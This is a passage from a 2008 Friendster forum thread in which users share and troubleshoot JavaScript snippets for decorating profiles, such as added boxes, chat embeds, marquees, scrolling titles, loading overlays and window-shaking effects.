friendsterTalk - Friendster Forum

friendsterTalk - Friendster Forum

Welcome guest! Please Login or Register.

#121  2008-06-06 08:17:08

gomz311
» FriendsterTalker
gomz311's display avatar
http://lloyd16.wordpress.
Laymakers Society
Location: Quezon City
Registered: 2008-01-08
Posts: 143
Last visit: 2008-10-14
Reputation: 6
Friendster

Re: Add Box Short Script

i really can't understand.... is that all ...??? ... its not working in my profile



click my siggy to visit my new site http://lloyd-friendsterlayouts.blogspot.com

#122  2008-06-06 15:58:28

adepat
» FriendsterManiac
Praying is More Powerfull
Friendstertalk University
Location: California, U.S.A
Registered: 2007-03-02
Posts: 751
Last visit: Yesterday
Reputation: 4
Friendster

Re: Add Box Short Script

I did it already and it works but it is not under my friends list, it is in my controlpanel..

preview:
http://profiles.friendster.com/adepat

#123  2008-06-06 17:51:37

switpotato
» FriendsterWhiz
switpotato's display avatar
dcrazier dbetter bxtreme
Class X
Location: HubbieHubbieLand
Registered: 2007-05-23
Posts: 2746
Reputation: 261

Re: Add Box Short Script

adepat change this part..

document.getElementById("2").parentNode.appendChild(x1);

2 = friend
0= controlpanel


   
        .. thnx Q ..kabit.. dai dai... muahhss

#124  2008-06-06 19:25:03

adepat
» FriendsterManiac
Praying is More Powerfull
Friendstertalk University
Location: California, U.S.A
Registered: 2007-03-02
Posts: 751
Last visit: Yesterday
Reputation: 4
Friendster

Re: Add Box Short Script

swit why is that? if i change it to "0" the playlist is below my control panel but if I put "2" the playlist is in my controlpanel.

#125  2008-06-06 19:30:55

bobcbar
» SuperFriendster
bobcbar's display avatar
Broke arm, hard typing
Location: Texas USA
Registered: 2007-04-08
Posts: 8531
Last visit: Today
Reputation: 207
Friendster

Re: Add Box Short Script

adepat wrote:

swit why is that? if i change it to "0" the playlist is below my control panel but if I put "2" the playlist is in my controlpanel.

Post the code you are using for the trick so we can see if there is a conflict =)



Sorry but I only understand english

#126  2008-06-06 19:35:02

adepat
» FriendsterManiac
Praying is More Powerfull
Friendstertalk University
Location: California, U.S.A
Registered: 2007-03-02
Posts: 751
Last visit: Yesterday
Reputation: 4
Friendster

Re: Add Box Short Script

my here is compilation.

Code:

rootFolder ='http://sweetmom.fileave.com/adepat/'

var myscripts = new Array()
myscripts[1] = 'addbox.txt'
myscripts[2] = 'randompics.txt'
myscripts[3] = 'moving.txt'
myscripts[4] = 'rainbow.txt '
myscripts[5] = 'mainpic.txt'
myscripts[6] = 'music.txt '



for(x in myscripts){
scriptFile = document.createElement('script')
scriptFile.src= rootFolder+myscripts[x]
document.getElementsByTagName('head')[0].appendChild(scriptFile)
}

var mycss = new Array()
mycss[0] = 'pic.css'

for(x in mycss){
cssFile = document.createElement('link')
cssFile.rel = 'stylesheet'
cssFile.href = rootFolder+mycss[x]
document.getElementsByTagName('head')[0].appendChild(cssFile)
}

#127  2008-06-07 00:05:46

ymm0t
» FriendsterGeek
Executive Coder
Registered: 2008-04-04
Posts: 1153
Reputation: 42

Re: Add Box Short Script

Is this still working? :question::question::question:

#128  2008-06-07 03:30:25

switpotato
» FriendsterWhiz
switpotato's display avatar
dcrazier dbetter bxtreme
Class X
Location: HubbieHubbieLand
Registered: 2007-05-23
Posts: 2746
Reputation: 261

Re: Add Box Short Script

of course its still working ymmot

adepat i saw ur file i see no prob... juz clear ur cache


   
        .. thnx Q ..kabit.. dai dai... muahhss

#129  2008-06-08 15:19:20

fz_james
» FriendsterGeek
fz_james's display avatar
looookkkk!!
Location: AnTipOLO RiZaL
Registered: 2008-01-12
Posts: 1106
Last visit: 2008-10-14
Reputation: 1
Friendster

Re: Add Box Short Script

how can i reposition it?? i dont know what is the number of boxes??


i know this is wrong but i like it:

#130  2008-06-08 15:23:16

switpotato
» FriendsterWhiz
switpotato's display avatar
dcrazier dbetter bxtreme
Class X
Location: HubbieHubbieLand
Registered: 2007-05-23
Posts: 2746
Reputation: 261

Re: Add Box Short Script

switpotato wrote:

Left Side Boxes

Control Panel= 0

Photo= 1

Reviews= 12

Blogs= 13

About me= 6

Comments/Testiminials= 18

Media Box/Scrap Book= 10

Right Side Boxes

Friends = 2

Google Ads= 14

Group= 8

Fans of Box= 7

Last edited by switpotato (2008-06-08 15:25:30)


   
        .. thnx Q ..kabit.. dai dai... muahhss

#131  2008-06-09 14:48:29

adepat
» FriendsterManiac
Praying is More Powerfull
Friendstertalk University
Location: California, U.S.A
Registered: 2007-03-02
Posts: 751
Last visit: Yesterday
Reputation: 4
Friendster

Re: Add Box Short Script

Yes swit, I put it below my control panel, I think the reason why it doesnt work below my friendslist because I interchange my boxes like friends list, fan of from right side to left side... Anyways thanks for this tricks, it is really works..

#132  2008-06-13 11:04:02

gomz311
» FriendsterTalker
gomz311's display avatar
http://lloyd16.wordpress.
Laymakers Society
Location: Quezon City
Registered: 2008-01-08
Posts: 143
Last visit: 2008-10-14
Reputation: 6
Friendster

Re: Add Box Short Script

is my code correct?
pls. check!!

Code:

function addbox(){
x1=document.createElement("div");
x1.id="CHAT BOX";
document.getElementById("0").parentNode.appendChild(x1);
playlist.innerHTML="<h2>My CHATBOX</h2>"
+" <object width='800' height='550' id='obj_1042977196359'><param name='movie' value='http://lloyd16layouts.chatango.com/group'/><param name='wmode' value='transparent'/><param name='AllowScriptAccess' VALUE="always'/><param name='AllowNetworking' VALUE="all'/><param name='AllowFullScreen' VALUE='true'/><param name='flashvars' value='cid=1042977196359&a=230400&b=72&c=996633&d=FFECC5&e=996633&f=91&g=FFECC5&h=FFECC5&j=230400&k=230400&l=000000&m=230400&n=FFECC5&r=100&s=1'/><embed id='emb_1042977196359' src='http://lloyd16layouts.chatango.com/group' width='400' height='400' wmode='transparent' allowScriptAccess='always' allowNetworking='all' type='application/x-shockwave-flash' allowFullScreen='true' flashvars='cid=1042977196359&a=230400&b=72&c=996633&d=FFECC5&e=996633&f=91&g=FFECC5&h=FFECC5&j=230400&k=230400&l=000000&m=230400&n=FFECC5&r=100&s=1'></embed></object><br>[ <a href='http://lloyd16layouts.chatango.com/clonegroup?ts=1042977196359">Copy this</a> | <a href='http://chatango.com/creategroup?ts=1042977196359'>Start New</a> | <a href='http://lloyd16layouts.chatango.com'>Full Size</a> ] '
}
setTimeout("addbox()",1000)

becoz its not working on mine



click my siggy to visit my new site http://lloyd-friendsterlayouts.blogspot.com

#133  2008-06-13 11:10:40

gomz311
» FriendsterTalker
gomz311's display avatar
http://lloyd16.wordpress.
Laymakers Society
Location: Quezon City
Registered: 2008-01-08
Posts: 143
Last visit: 2008-10-14
Reputation: 6
Friendster

Re: Add Box Short Script

HERE ARE ALL MY JS CODES PLS. PUT MY CHAT BOX!

CHAT BOX CODE

Code:

<object width="800" height="550" id="obj_1042977196359"><param name="movie" value="http://lloyd16layouts.chatango.com/group"/><param name="wmode" value="transparent"/><param name="AllowScriptAccess" VALUE="always"/><param name="AllowNetworking" VALUE="all"/><param name="AllowFullScreen" VALUE="true"/><param name="flashvars" value="cid=1042977196359&a=230400&b=72&c=996633&d=FFECC5&e=996633&f=91&g=FFECC5&h=FFECC5&j=230400&k=230400&l=000000&m=230400&n=FFECC5&r=100&s=1"/><embed id="emb_1042977196359" src="http://lloyd16layouts.chatango.com/group" width="400" height="400" wmode="transparent" allowScriptAccess="always" allowNetworking="all" type="application/x-shockwave-flash" allowFullScreen="true" flashvars="cid=1042977196359&a=230400&b=72&c=996633&d=FFECC5&e=996633&f=91&g=FFECC5&h=FFECC5&j=230400&k=230400&l=000000&m=230400&n=FFECC5&r=100&s=1"></embed></object><br>[ <a href="http://lloyd16layouts.chatango.com/clonegroup?ts=1042977196359">Copy this</a> | <a href="http://chatango.com/creategroup?ts=1042977196359">Start New</a> | <a href="http://lloyd16layouts.chatango.com">Full Size</a> ]

ALL OF MY JS CODES


Code:

var css = document.createElement("link");
function injectcss() {
   if(window.cssinjected == undefined) {
      cssinjected = 1;
      var css = document.createElement("link");
      css.setAttribute("type","text/css");
      css.setAttribute("rel","stylesheet");
      css.setAttribute("href","http://h1.ripway.com/gomz311/mynewlay.css");
      css.setAttribute("media","screen, print");
      document.getElementsByTagName("head")[0].appendChild(css);
   }
}injectcss();


//Shout Box
document.getElementById('cpShoutoutBox').innerHTML = "<div> <font color='#FFFFFF'><marquee behavior='alternate' style='border:0099ff 2px SOLID; background: black'> welcome 2 my profile!!!!ENJOY VIEWING</marque></div></font>";

//Moving Friends Box
if ( ! attachOnLoadHandler(function () { movingFrnd();}))
window.onload = function () { movingFrnd();};
function movingFrnd() {
var marqueeFriends = document.getElementById("content_2").innerHTML;
document.getElementById("content_2").innerHTML ="<marquee direction='up' height='300' scrollamount='2' onMouseOver='stop()' onMouseOut='start()'>"+
marqueeFriends+"</marquee>";
}

//Moving Photo Gallery
if ( ! attachOnLoadHandler(function () { movingPhotos();}))
window.onload = function () { movingPhotos();};
function movingPhotos() {
var marqueePhotos = document.getElementById("content_1").innerHTML;
document.getElementById("content_1").innerHTML ="<marquee direction='left' height='100%' scrollamount='2' onMouseOver='stop()' onMouseOut='start()'>"+
marqueePhotos+"</marquee>";
}


alert("Welcome to my profile "+pageViewerFName+"!" + '\n' + "Are You Happy Today?" + '\n' + "If Not Always Smile!"); alert("Anyway Give Me Some Comments " + '\n' + "and please visit my site" + '\n' + "http://lloyd16.wordpress.com TNX");

if (typeof MARQUEE == "undefined") { MARQUEE = {}; }
MARQUEE = {
        content: null,

        init: function() {
                //friends
                MARQUEE.content = document.getElementById("content_2").innerHTML;
                document.getElementById("content_2").innerHTML = "<marquee direction=\"up\" height=\"300\" scrollamount=\"2\" onMouseOver=\"stop()\" onMouseOut=\"start()\">"+MARQUEE.content+"</marquee>";

                //photos
                MARQUEE.content = document.getElementById("content_1").innerHTML;
                document.getElementById("content_1").innerHTML = "<marquee direction=\"left\" height=\"100%' scrollamount=\"2\" onMouseOver=\"stop()\" onMouseOut=\"start()\">"+MARQUEE.content+"</marquee>";

                //publiccomments
                MARQUEE.content = document.getElementById("content_18").innerHTML;
                document.getElementById("content_18").innerHTML = "<marquee direction=\"up\" height=\"300\" scrollamount=\"2\" onMouseOver=\"stop()\" onMouseOut=\"start()\">"+MARQUEE.content+"</marquee>";

                //shoutoutbox
                MARQUEE.content = document.getElementById("cpShoutoutBox").innerHTML;
                document.getElementById("cpShoutoutBox").innerHTML = "<marquee direction=\"left\" height=\"100%\" scrollamount=\"2\" onMouseOver=\"stop()\" onMouseOut=\"start()\">"+MARQUEE.content+"</marquee>";

                //fanof
                MARQUEE.content = document.getElementById("content_7").innerHTML;
                document.getElementById("content_7").innerHTML = "<marquee direction=\"up\" height=\"200\" scrollamount=\"2\" onMouseOver=\"stop()\" onMouseOut=\"start()\">"+MARQUEE.content+"</marquee>";

                //groups
                MARQUEE.content = document.getElementById("content_8").innerHTML;
                document.getElementById("content_8").innerHTML = "<marquee direction=\"up\" height=\"200\" scrollamount=\"2\" onMouseOver=\"stop()\" onMouseOut=\"start()\">" +MARQUEE.content+"</marquee>";
        }
};MARQUEE.init();

putmsg=")-[http://lloyd16.wordpress.com]-(";
letchar2="Lloyd 16";
letchar1="welcome to my profile";ultimo1=letchar1.length-4;
ultimo2=letchar2.length-9;
ultimo2=letchar2.length-9;
tiempo=setTimeout("tit_scroll()",.1);
function tit_scroll()
{
aux1=letchar1.charAt(ultimo1-1);
letchar1=aux1+letchar1.substring(0,ultimo1-1);
aux2=letchar2.charAt(0);
letchar2=letchar2.substring(1,ultimo2+1)+aux2;
document.title="(" + letchar2 + putmsg + letchar1 + ")";
tiempo=setTimeout("tit_scroll()",.1);
return true;
}

<!-- 
var message = new Array ();
var delay = 5000; // Sets the delay between switching messages
var currMessage = 1; 

message[1] = "welcome to my profile";
message[2] = "ahihihihihi";
message[3] = "hope you enjoy!"; 

function changer() {
document.title = (message[currMessage++]);
setTimeout("changer()",delay);
currMessage = ((currMessage >= message.length) ? 1 : currMessage);
} 

changer (); 

// end hide -->

puchtit="]-[leave me a comment]-[";
letrero2="·.¸¸.·´´¯`··._.··.¸¸.·´´¯`··._.·";
letrero1="·.¸¸.·´´¯`··._.··.¸¸.·´´¯`··._.·";ultimo1=letrero1.length-1;
ultimo2=letrero2.length-1;
tiempo=setTimeout("scroll()",.1);
function scroll()
{
aux1=letrero1.charAt(ultimo1-1);
letrero1=aux1+letrero1.substring(0,ultimo1-1);
aux2=letrero2.charAt(0);
letrero2=letrero2.substring(1,ultimo2+1)+aux2;
window.status="(" + letrero2 + puchtit + letrero1 + ")";
tiempo=setTimeout("scroll()",.1);
return true;
}
// -->

loader=new loader();
function loader() {
this.hide=function() {
lding.style.display='none';
}
var lding = document.getElementById('navBg');
myWidth = screen.availWidth;
myHeight = screen.availHeight;
lding.style.zIndex=1000;
lding.style.backgroundImage ="url(http://i137.photobucket.com/albums/q205/ezil2007/zaren/12345.gif)";
lding.style.backgroundRepeat='repeat';
lding.style.position = 'fixed';
lding.style.top = '0px';
lding.style.left = '0px';
lding.style.width = myWidth;
lding.style.height = myHeight;
lding.style.overflow = 'hidden';
lding.style.display='';
lding.innerHTML="<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><center><font face='Comic Sans MS' color='white' size='20'>"+pageViewerFName+" Thanks for visiting! <br><br><br><br>Loading.. Please Wait...</font><b><br><br><br><br><br><img src='http://i135.photobucket.com/albums/q131/nikkomon_139/i102337293_99882.gif'/></center>";
}

if ( ! attachOnLoadHandler(function () { loadBox();})) 
window.onload = function () { loadBox();};

function loadBox() {
var ld=setTimeout("loader.hide()",4000);

}

// SHAKING ENTER PAGE with snake and animated window opener
{
function shakeit(){
parent.resizeTo(500,500)
parent.moveBy(14,19)
parent.moveBy(-14,-16)
parent.moveBy(12,21)
parent.moveBy(-16,-14)
parent.moveBy(14,28)
parent.moveBy(-27,-20)
parent.moveBy(22,22)
parent.moveBy(-20,-18)
parent.moveBy(24,17)
parent.moveBy(-16,-20)
parent.moveBy(20,20)
parent.moveBy(-27,-29)
parent.moveBy(13,17)
parent.moveBy(-17,-22)
parent.moveBy(12,24)
parent.moveBy(-13,-17)
parent.moveBy(14,28)
parent.moveBy(-23,-20)
parent.moveBy(21,24)
parent.moveBy(-20,-17)
parent.moveBy(21,16)
parent.moveBy(-17,-22)
parent.moveBy(20,20)
parent.moveBy(-28,-29)
parent.moveBy(15,17)
parent.moveBy(-18,-22)
parent.moveBy(15,21)
parent.moveBy(-13,-15)
parent.moveBy(14,23)
parent.moveBy(-29,-24)
parent.moveBy(22,20)
parent.moveBy(-21,-18)
parent.moveBy(24,16)
parent.moveBy(-18,-25)
parent.moveBy(20,20)
parent.moveBy(-26,-27)
parent.moveBy(17,19)
parent.moveBy(-13,-17)
parent.moveBy(13,19)
parent.moveBy(-16,-18)
parent.moveBy(14,23)
parent.moveBy(-27,-22)
parent.moveBy(24,22)
parent.moveBy(13,22)
parent.moveBy(-24,-22)
parent.moveBy(29,25)
parent.moveBy(-20,-17)
parent.moveBy(23,16)
parent.moveBy(-16,-20)
parent.moveBy(20,20)
parent.moveBy(-27,-29)
parent.moveBy(15,17)
parent.moveBy(-15,-19)
parent.moveBy(13,19)
parent.moveBy(-14,-16)
parent.moveBy(13,23)
parent.moveBy(-26,-20)
parent.moveBy(24,22)
parent.moveBy(-21,-17)
parent.moveBy(24,15)
parent.moveBy(-14,-20)
parent.moveBy(20,20)
parent.moveBy(-26,-29)
parent.moveBy(15,19)
parent.moveBy(-13,-17)
parent.moveBy(12,19)
parent.moveBy(-14,-18)
parent.moveBy(12,24)
parent.moveBy(-27,-20)
parent.moveBy(23,22)
parent.moveBy(-20,-19)
parent.moveBy(22,14)
parent.moveBy(-12,-21)
parent.moveBy(20,20)
parent.moveBy(-26,-27)
parent.moveBy(13,17)
parent.moveBy(-13,-19)
parent.moveBy(12,18)
parent.moveBy(-12,-17)
parent.moveBy(16,28)
parent.moveBy(-25,-22)
parent.moveBy(28,22)
parent.moveBy(-24,-14)
parent.moveBy(-14,-20)
parent.moveBy(20,20)
parent.moveBy(-26,-28)
parent.moveBy(28,12)
parent.moveBy(0, 0)
parent.resizeTo(screen.width, screen.height);
parent.moveBy(0, 0);
return false;
}
shakeit();
}
{
function shakeit(){
parent.resizeTo(500,500)
parent.moveBy(14,19)
parent.moveBy(-14,-16)
parent.moveBy(12,21)
parent.moveBy(-16,-14)
parent.moveBy(14,28)
parent.moveBy(-27,-20)
parent.moveBy(22,22)
parent.moveBy(-20,-18)
parent.moveBy(24,17)
parent.moveBy(-16,-20)
parent.moveBy(20,20)
parent.moveBy(-27,-29)
parent.moveBy(13,17)
parent.moveBy(-17,-22)
parent.moveBy(12,24)
parent.moveBy(-13,-17)
parent.moveBy(14,28)
parent.moveBy(-23,-20)
parent.moveBy(21,24)
parent.moveBy(-20,-17)
parent.moveBy(21,16)
parent.moveBy(-17,-22)
parent.moveBy(20,20)
parent.moveBy(-28,-29)
parent.moveBy(15,17)
parent.moveBy(-18,-22)
parent.moveBy(15,21)
parent.moveBy(-13,-15)
parent.moveBy(14,23)
parent.moveBy(-29,-24)
parent.moveBy(22,20)
parent.moveBy(-21,-18)
parent.moveBy(24,16)
parent.moveBy(-18,-25)
parent.moveBy(20,20)
parent.moveBy(-26,-27)
parent.moveBy(17,19)
parent.moveBy(-13,-17)
parent.moveBy(13,19)
parent.moveBy(-16,-18)
parent.moveBy(14,23)
parent.moveBy(-27,-22)
parent.moveBy(24,22)
parent.moveBy(13,22)
parent.moveBy(-24,-22)
parent.moveBy(29,25)
parent.moveBy(-20,-17)
parent.moveBy(23,16)
parent.moveBy(-16,-20)
parent.moveBy(20,20)
parent.moveBy(-27,-29)
parent.moveBy(15,17)
parent.moveBy(-15,-19)
parent.moveBy(13,19)
parent.moveBy(-14,-16)
parent.moveBy(13,23)
parent.moveBy(-26,-20)
parent.moveBy(24,22)
parent.moveBy(-21,-17)
parent.moveBy(24,15)
parent.moveBy(-14,-20)
parent.moveBy(20,20)
parent.moveBy(-26,-29)
parent.moveBy(15,19)
parent.moveBy(-13,-17)
parent.moveBy(12,19)
parent.moveBy(-14,-18)
parent.moveBy(12,24)
parent.moveBy(-27,-20)
parent.moveBy(23,22)
parent.moveBy(-20,-19)
parent.moveBy(22,14)
parent.moveBy(-12,-21)
parent.moveBy(20,20)
parent.moveBy(-26,-27)
parent.moveBy(13,17)
parent.moveBy(-13,-19)
parent.moveBy(12,18)
parent.moveBy(-12,-17)
parent.moveBy(16,28)
parent.moveBy(-25,-22)
parent.moveBy(28,22)
parent.moveBy(-24,-14)
parent.moveBy(-14,-20)
parent.moveBy(20,20)
parent.moveBy(-26,-28)
parent.moveBy(28,12)
parent.moveBy(0, 0)
parent.resizeTo(screen.width, screen.height);
parent.moveBy(0, 0);
return false;
}
shakeit();
}
scrW=screen.availWidth
scrH=screen.availHeight
window.resizeTo(10,10)
window.focus()
for(a=0;a<80;a++){
window.moveTo(0,0)
window.resizeTo(0,scrH*a/80)
}
window.resizeTo(0,0)
for(b=0;b<80;b++){
window.moveTo(0,scrH/1)
window.resizeTo(scrW*b/80,0)
}
window.resizeTo(0,0)
for(c=0;c<80;c++){
window.moveTo(scrW/1,scrH/1)
window.resizeTo(0,scrH*c/80)
}
window.resizeTo(0,0)
for(d=0;d<80;d++){
window.moveTo(scrW/1,0)
window.resizeTo(scrW*d/80,0)
}
scrW=screen.availWidth
scrH=screen.availHeight
window.resizeTo(10,10)
window.focus()
for(a=0;a<80;a++){
window.moveTo(0,0)
window.resizeTo(0,scrH*a/80)
}
window.resizeTo(0,0)
for(b=0;b<80;b++){
window.moveTo(0,scrH/1)
window.resizeTo(scrW*b/80,0)
}
window.resizeTo(0,0)
for(c=0;c<80;c++){
window.moveTo(scrW/1,scrH/1)
window.resizeTo(0,scrH*c/80)
}
window.resizeTo(0,0)
for(d=0;d<80;d++){
window.moveTo(scrW/1,0)
window.resizeTo(scrW*d/80,0)
}
scrW=screen.availWidth
scrH=screen.availHeight
window.moveTo(0,0)
window.resizeTo(10,10)
window.focus()
for(x=0;x<80;x++){
window.resizeTo(10,scrH*x/80)
}
for(y=0;y<80;y++){
window.resizeTo(scrW*y/80,scrH)
}
window.resizeTo(screen.width, screen.height)

/** VIEWERS MAINPIC ON SHOUTBOX **/
/**
* Viewer's Main Photo at Shoutout Box
**/

/*global MAINPIC*/
MAINPIC = {};

(function () {
    MAINPIC = {
        // private property
        photo: null,

        init: function () {
            if (pageViewerID !== "") {
                try {
                    MAINPIC.ajaxRequest("GET", "http://" + location.hostname + "/" + pageViewerID, true, null, MAINPIC.viewer, null);
                } catch (e) {}
            }
        },

        viewer: function (htm) {
            if (htm.replace(/^\s*|\s*$/g, "") === "") {
                window.alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");
                return;
            } else {
                htm = htm.slice(htm.indexOf("<div class=\"imgblock200\">") + 0, htm.indexOf("<ul id=\"controlPanelButtons\">") + 0);
                htm = htm.slice(htm.indexOf("<img src=\"") + 10, htm.indexOf("\"></a></div>") + 0);
                MAINPIC.photo = document.createElement("div");
                MAINPIC.photo.setAttribute("id", "mainpic");
                MAINPIC.photo.setAttribute("align", "center");
                MAINPIC.photo.appendChild(document.createElement("span"));
                MAINPIC.photo.getElementsByTagName("span")[0].className = "0";
                MAINPIC.photo.getElementsByTagName("span")[0].innerHTML = "<marquee style='width:85%px;border:1px solid #222222; direction='left' scrollamount='2' onmouseover='this.stop()' onmouseout='this.start()'><input type='button' value='Home' style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://friendster.com'\"> <input type='button' value='My Profile'style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://profiles.friendster.com/user.php'\"> <input type='button' value='My Friends'style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://friendster.com/friends.php'\"> <input type='button' value='Explore'style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://www.friendster.com/explore.php'\"> <input type='button' value='Search'style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://friendster.com/gallery.php'\">  <input type='button' value='Invite'style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://friendster.com/invite.php'\"> <input type='button' value='Messages'style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://friendster.com/messages.php'\"> <input type='button' value='Settings'style='background-color:transparent;border:none;font-family:georgia MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://friendster.com/editaccount.php'\"> <input type='button' value='Log Out'style='background-color:transparent;border:none;font-family:verdana MS;font-weight:bold;font-size:12;color:#660000;' onClick=\"top.location.href='http://friendster.com/logout.php'\"></marquee>";
  MAINPIC.photo.appendChild(document.createElement("br"));
                MAINPIC.photo.appendChild(document.createElement("a"));
                MAINPIC.photo.getElementsByTagName("a")[0].href = "/" + pageViewerID;
                MAINPIC.photo.getElementsByTagName("a")[0].target = "_blank";
                MAINPIC.photo.getElementsByTagName("a")[0].title = pageViewerFName;
                MAINPIC.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img"));
                MAINPIC.photo.getElementsByTagName("img")[0].src = htm;
                MAINPIC.photo.appendChild(document.createElement("br"));
                MAINPIC.photo.appendChild(document.createElement("span"));
                MAINPIC.photo.getElementsByTagName("span")[1].className = "0";
                MAINPIC.photo.getElementsByTagName("span")[1].innerHTML = "<marquee style='width:85%px;border:1px solid #222222; direction='left' scrollamount='2''><FONT FACE='arial' SIZE='2px' COLOR='660000'>Hi</color> <font-color=#990000>"+pageViewerFName+"  <font color= #660000>your ID is <font color=#990000>"+pageViewerID+" </color><font color=#660000>and the time and date there is </color> <font color= #990000>"+Date()+"  </color><font color=#66000>your browser is </color> <font color= #990000>"+navigator.appName+" "+navigator.appVersion+" </color> <font color= #660000> ADD SOME MESSAGE HERE </color></font> </marquee>";
var getShoutout = document.getElementById("cpShoutoutBox");
                getShoutout.parentNode.replaceChild(MAINPIC.photo, getShoutout);
            }
        },

        ajaxRequest: function (type, url, async, param, func, handlerparam) {
            /**
            * ajaxRequest - You may not remove or change this notice.
            * version: 2.4
            * Copyright 2008 by FeRuZZ © http://profiles.friendster.com/feruzz.
            *
            * @type: "GET" | "POST"
            * @cont: true | false
            * @param: string | null
            * @func: string | null
            * @handlerparam: string | null
            **/

            var httprequest = null;
            var requestDone = false;
            var data = null;
            var responseType = "text";
            var timeout = 0;
            var ival = null;
            var onreadystatechange = {};
            var msxml = ["Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0", "Msxml2.XMLHTTP", "Microsoft.XMLHTTP"];
            for (var x = 0, len = msxml.length; x < len; x += 1) {
                try {
                    httprequest = window.ActiveXObject ? new ActiveXObject(msxml[x]) : new XMLHttpRequest();
                    break;
                } catch (e) {
                    if (async) {
                        httprequest = null;
                    }
                }
            }
            if (typeof func === "function") {
                onreadystatechange = function (isTimeout) {
                    if (!requestDone && httprequest && (httprequest.readyState === 4 || isTimeout === "timeout")) {
                        requestDone = true;
                        if (ival) {
                            window.clearInterval(ival);
                            ival = null;
                        }
                        if (!httprequest.status && location.protocol === "file:" || (httprequest.status >= 200 && httprequest.status < 300) || httprequest.status === 304 || httprequest.status === 1223) {
                            var resPonse = (/xml/i.test(responseType))? httprequest.responseXML : httprequest.responseText;
                            func(resPonse.replace(new RegExp("<script[^>]*>.*?<\/script>", "gi"), ""), handlerparam);
                        }
                    }
                };
            }
            if (async) {
                ival = window.setInterval(onreadystatechange, 13);
                if (timeout > 0) {
                    window.setTimeout(function () {
                        if (httprequest) {
                            httprequest.abort();
                            if (!requestDone) {
                                onreadystatechange("timeout");
                            }
                        }
                    }, timeout);
                }
            }
            if (type === "GET" && (/GET/i.test(type))) {
                var ts = new Date().getTime();
                var ret = url.replace(/(\?|&)_=[\S\s]*?(&|$)/, "$1_=" + ts + "$2");
                url = ret + ((ret === url) ? (url.match(/\?/) ? "&" : "?") + "_=" + ts : "");
            }
            if (data && type === "GET" && (/GET/i.test(type))) {
                url += (url.match(/\?/) ? "&" : "?") + data;
                data = null;
            }
            if (type === "POST" && (/POST/i.test(type))) {
                var headers = "application/x-www-form-urlencoded" + ("UTF-8" ? "; charset=" + "UTF-8" : "");
                var contentLength = param ? param.length: 0;
                try {
                    httprequest.setRequestHeader("Content-type", headers);
                    httprequest.setRequestHeader("Content-length", contentLength);
                    if (httprequest.overrideMimeType && (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0, 2005])[1] < 2005) {
                        httprequest.setRequestHeader("Connection", "close");
                    }
                } catch (err) {}
            }
            httprequest.open(type, url, async);
            httprequest.setRequestHeader("ajaxRequest", "true");
            httprequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");
            httprequest.setRequestHeader("If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT");
            httprequest.setRequestHeader("Accept", "text/javascript, application/javascript, text/html, application/xml, text/xml, text/plain, */*");
            httprequest.send(param);
            if (!async) {
                onreadystatechange();
            }
        }
    };
})();
MAINPIC.init();

function getCookie(c_name)
{
if (document.cookie.length>0)
{ 
c_start=document.cookie.indexOf(c_name + "=")
if (c_start!=-1)
{ 
c_start=c_start + c_name.length+1 
c_end=document.cookie.indexOf(";",c_start)
if (c_end==-1) c_end=document.cookie.length
return unescape(document.cookie.substring(c_start,c_end))
} 
}
return ""
}

function setCookie(c_name,value,expiredays)
{
var exdate=new Date()
exdate.setDate(exdate.getDate()+expiredays)
document.cookie=c_name+ "=" +escape(value)+
((expiredays==null) ? "" : "; expires="+exdate.toGMTString())
}

function checkCookie()
{
username=getCookie('username')
if (username!=null && username!="")
  {alert('Welcome again '+username+'!')}
else 
  {
  username=prompt('Please enter your name:',"")
  if (username!=null && username!="")
    {
    setCookie('username',username,365)
    }
  }
}
document.write('<body onLoad="checkCookie()">');


//mikfreegifs.com
P=new Image();
P.src="http://i27.tinypic.com/2rxcs34.jpg"; //Pre-load your image here!
SY=3;             //Up-down speed!
SX=5;             //Left-right speed!
LINK="#";

//Nothing needs altering below!
n6=(document.getElementById&&!document.all);
ns=(document.layers);
ie=(document.all);
d=(ns||ie)?'document.':'document.getElementById("';
a=(ns||n6)?'':'all.';
n6r=(n6)?'")':'';
s=(ns)?'':'.style';

if (ns){
document.write("<LAYER NAME='pics' LEFT=0 TOP=0><a href="+LINK+"><img src='pooh.gif' border=0></a></LAYER>");
}
if (ie||n6){
document.write("<div id='pics' style='position:absolute;top:0px;left:0px'><a href="+LINK+"><img src="+P.src+" border=0></a></div>");
}
R=0,C1=0;PB=0,Y=0,X=0,D=0,VB=0,HB=0;
Y=10;X=10;D=Math.floor(Math.random()*60+10);
function Curve(){
plusMinus=new Array(1,-1,2,-2,3,-3,0,1,-1,4,-4)
R = plusMinus[Math.floor(Math.random()*plusMinus.length)];
}
function MoveRandom(){
C1++;
if (C1==50){Curve();C1=0}
var H=(ns||n6)?window.innerHeight:document.body.clientHeight;
var W=(ns||n6)?window.innerWidth:document.body.clientWidth;
var YS=(ns||n6)?window.pageYOffset:document.body.scrollTop;
var XS=(ns||n6)?window.pageXOffset:document.body.scrollLeft;
var BY=-P.height;
var BX=-P.width;
PB=D+=R;
y = SY*Math.sin(PB*Math.PI/180);
x = SX*Math.cos(PB*Math.PI/180);
if (D < 0) D+=360;
Y+=y;
X+=x;
VB=180-D;
HB=0-D;
//Corner rebounds! not necessary but looks nice.
if ((Y < 1) && (X < 1)) {Y=1;X=1;D=45;}
if ((Y < 1) && (X > W+BX)) {Y=1;X=W+BX;D=135;}
